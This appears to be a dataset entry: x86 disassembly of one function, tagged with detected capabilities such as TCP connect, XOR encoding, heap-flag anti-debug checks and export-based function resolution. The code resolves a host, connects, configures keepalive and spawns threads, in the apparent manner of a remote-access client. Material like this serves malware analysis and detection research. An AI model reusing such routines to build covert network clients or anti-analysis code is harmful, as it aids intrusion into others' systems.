Function at 0x10003a30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Get process heap force flags
Resolve dns
Resolve function by parsing pe exports
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1001519b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x13f4
call fcn.10011110
mov eax, dword [0x1001b230]
xor eax, esp
mov dword [esp + 0x13f0], eax
push ebx
push esi
push edi
mov eax, dword [0x1001b230]
xor eax, esp
push eax
lea eax, [esp + 0x1408]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov ebx, ecx
mov ecx, dword [ebx + 4]
push ecx
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebx + 0x18]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [ebx + 0x14], eax
xor eax, eax
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], eax
mov dword [ebx + 0x28], eax
mov dword [ebx + 0x2c], eax
mov dword [ebx + 0x30], eax
mov dword [ebx + 0x34], eax
mov dword [ebx + 0x38], eax
xor edi, edi
lea esi, [esp + 0x38]
mov dword [ebx + 0x3c], eax
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], eax
mov byte [esp + 0x38], al
call fcn.10004380
mov dword [esp + 0x1410], edi
call fcn.1000810d
or esi, 0xffffffff
mov dword [esp + 0x1410], esi
cmp dword [esp + 0x4c], 0x10
jb 0x10003afc
mov edx, dword [esp + 0x38]
push edx
call fcn.100087b1
add esp, 4
call fcn.1000810d
mov dword [esp + 0x78], eax
mov ecx, eax
mov dword [esp + 0x13f8], esi
mov eax, 1
mov edx, ecx
shr edx, 0x1e
xor ecx, edx
imul ecx, ecx, 0x6c078965
add ecx, eax
mov dword [esp + eax*4 + 0x78], ecx
inc eax
cmp eax, 0x270
jl 0x10003b13
fld qword [0x100187a0]
mov esi, 0x270
fldz
mov dword [esp + 0x74], esi
fsub st(1), st(0)
fld1
fadd st(2), st(0)
fxch st(2)
fstp qword [esp + 0x2c]
fsubr qword [0x100187c0]
faddp st(1)
fstp qword [esp + 0x54]
cmp esi, 0x270
jne 0x10003b6a
lea eax, [esp + 0x74]
call fcn.10004500
jmp 0x10003b7b
cmp esi, 0x4e0
jb 0x10003b7f
lea esi, [esp + 0x74]
call fcn.10004440
mov esi, dword [esp + 0x74]
mov eax, dword [esp + esi*4 + 0x78]
mov ecx, eax
shr ecx, 0xb
and ecx, dword [esp + 0x13f8]
inc esi
xor eax, ecx
mov edx, eax
and edx, 0xff3a58ad
shl edx, 7
xor eax, edx
mov ecx, eax
and ecx, 0xffffdf8c
shl ecx, 0xf
xor eax, ecx
mov edx, eax
shr edx, 0x12
xor edx, eax
mov dword [esp + 0x34], edx
fild dword [esp + 0x34]
mov dword [esp + 0x74], esi
jns 0x10003bc7
fadd qword [0x100187a8]
fdiv qword [esp + 0x2c]
fmul qword [esp + 0x54]
fadd qword [0x100187c8]
fcom qword [0x100187c0]
fnstsw ax
test ah, 1
jne 0x10003beb
fstp st(0)
mov eax, 0xff
jmp 0x10003bf0
call fcn.10013f20
mov byte [ebx + edi + 0x20], al
inc edi
cmp edi, 0x20
jb 0x10003b57
push 6
mov al, 5
push 1
push 2
mov byte [ebx + 0x21], al
mov byte [ebx + 0x2f], al
mov byte [ebx + 0x3b], al
mov word [ebx + 0x3e], 0xca00
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0x7c], eax
cmp eax, 0xffffffff
jne 0x10003c2a
xor al, al
jmp 0x10003dd5
mov esi, dword [esp + 0x10]
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
lea eax, [edi + 1]
push eax
call fcn.10008150
mov ecx, dword [esp + 0x14]
add esp, 4
push 0
push 0
push edi
mov esi, eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [esp + 0x20]
push eax
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
mov byte [esi + edi], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
push esi
mov edi, eax
call fcn.100087b1
add esp, 4
test edi, edi
je 0x10003c23
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [esp + 0x68], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x66], ax
mov edx, dword [edi + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov eax, dword [ebx + 0x7c]
push 0x10
lea edx, [esp + 0x68]
push edx
push eax
mov dword [esp + 0x74], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10003c23
mov edx, dword [ebx + 0x7c]
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea ecx, [esp + 0x18]
push ecx
push 0x1001
push 0xffff
mov edi, 0x40000
push edx
mov dword [esp + 0x28], edi
call esi
mov ecx, dword [ebx + 0x7c]
push 4
lea eax, [esp + 0x18]
push eax
push 0x1002
push 0xffff
push ecx
mov dword [esp + 0x28], edi
call esi
mov eax, dword [ebx + 0x7c]
push 4
lea edx, [esp + 0x1c]
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x2c], 0x7530
call esi
mov edx, dword [ebx + 0x7c]
push 4
lea ecx, [esp + 0x20]
push ecx
push 8
push 0xffff
mov edi, 1
push edx
mov dword [esp + 0x30], edi
call esi
test eax, eax
jne 0x10003d8b
mov edx, dword [ebx + 0x7c]
push eax
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0xc
lea ecx, [esp + 0x6c]
push ecx
push 0x98000004
push edx
mov dword [esp + 0x78], edi
mov dword [esp + 0x7c], 0x2bf20
mov dword [esp + 0x80], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push edi
lea eax, [ebx + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea eax, [esp + 0x20]
push eax
push 0
push ebx
push 0x10003e00
push 0
push 0
mov dword [esp + 0x38], 0
call fcn.10008f3f
lea ecx, [esp + 0x40]
push ecx
push 0
push ebx
push 0x10003f10
push 0
push 0
mov dword [ebx + 0x74], eax
call fcn.10008f3f
mov dword [ebx + 0x78], eax
add esp, 0x30
mov al, 1
mov ecx, dword [esp + 0x1408]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x13f0]
xor ecx, esp
call fcn.100082f7
mov esp, ebp
pop ebp
ret 8